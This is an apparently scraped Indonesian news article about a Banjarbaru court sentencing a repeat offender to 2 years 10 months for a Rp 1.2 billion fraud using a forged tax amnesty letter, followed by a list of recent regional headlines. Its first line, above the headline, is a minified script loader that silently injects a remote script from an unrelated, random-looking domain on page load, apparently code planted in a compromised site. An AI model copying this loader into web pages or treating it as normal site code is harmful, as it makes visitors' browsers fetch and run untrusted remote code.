(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Menipu Uang Rp 1,2 Miliar, Lihan Divonis Dua Tahun Sepuluh Bulan Penjara


KANALKALIMANTAN.COM, BANJARBARU – Majelis hakim Pengadilan Negeri Banjarbaru memvonis bersalah Lihan atas tindak pidana penipuan uang dengan modus tax amnesty, sebesar Rp 1,2 miliar. Palu hakim menghantarkan Lihan ke jeruji besi dengan lama hukuman selama 2 tahun 10 bulan.

“Jaksa Penuntut Umum (JPU) sebenarnya menuntut Lihan dengan hukuman tiga tahun penjara. Tapi, ternyata dari majelis hakim memvonis 2 tahun 10 bulan. Ya, tentunya majelis hakim punya pertimbangan sendiri,” kata Kasi Pidum Kejari Banjarbaru, Budi Muklis.

Atas vonis ini, kata Budi, pihaknya masih mempertimbangkan untuk mengajukan banding atau tidak. Sedangkan, dari pihak Lihan bersama kuasa hukumnya telah menerima vonis ini.

“Kita masih pikir-pikir mau ngajukan banding atau tidak. Masih ada waktu 7 hari,” lanjutnya

Lihan telah menjalani sidang sejak 10 Desember 2019. Adapun dasar tuntutan terhadap bekas pengusaha intan ini, mengacu pada pasal 378 KUHP tentang tindak pidana penipuan. Terlebih lagi, status Lihan yang merupakan residivis -terpidana kasus investasi bodong money game pada tahun 2010-, juga menjadi unsur yang menguatkan pihak Kejaksaan untuk menuntu hukuman yang seberat-beratnya.

Lihan diringkus Polsek Banjarbaru Kota lantaran diduga menipu temannya sendiri H Hasyim sebesar Rp 1,2 miliar. Penangkapan Lihan terjadi di Perumahan Green Valley Residence, Jatihandap, Mandala Jati Kota Bandung, Jabar, pada pertengahan September lalu.

Modus Lihan untuk mengelabui Hasyim, yakni pembayaran tax amnesty atau pengampunan pajak, demi memuluskan uang Lihan yang ada di luar negeri sebesar Rp 50 miliar.

Untuk membuat H Hasyim lebih percaya, Lihan kemudian mengirimkan bukti surat tax amnesty yang dimaksud. Dengan tanda bukti seperti dikeluarkan oleh Kantor Pajak Pratama Serpong Kota Tangerang Selatan, Provinsi Banten.

Belakangan setelah dilakukan penyelidikan ternyata surat tax amnesty tersebut diduga palsu. Usai mendapat laporan tersebut Polres Banjarbaru dan Polsek Banjarbaru Kota langsung melakukan pemeriksaan ke Kantor Pajak Pratama Serpong, Kanwil Dirjen Pajak Banten. Dari sini dibuat kesimpulan bahwa surat tax amnesty yang diserahkan oleh Lihan kepada H Hasyim tidak terdaftar di kantor pajak tersebut. (kanalkalimantan.com/rico)

Reporter : rico
Editor : Chell

 


Al Ghifari

Recent Posts

Niat Tawuran Bawa Celurit, Dua Remaja di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More

11 menit ago

#Save Demokrasi Banjarbaru: Hak Pilih Warga Dibungkam

KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More

33 menit ago

Kirim Surat Suara ke Tiga Wilayah Ujung Banjarmasin Gunakan Klotok

KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More

3 jam ago

Pengrajin Anyaman Purun Desa Pulantani Terima Bantuan CSR

KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More

5 jam ago

Logistik Pemilihan di Banjarmasin Didistribusikan, Disebar ke 965 TPS

KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More

8 jam ago

KPU Banjarbaru Mengubur Demokrasi, Meniadakan Pilkada Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More

10 jam ago

This website uses cookies.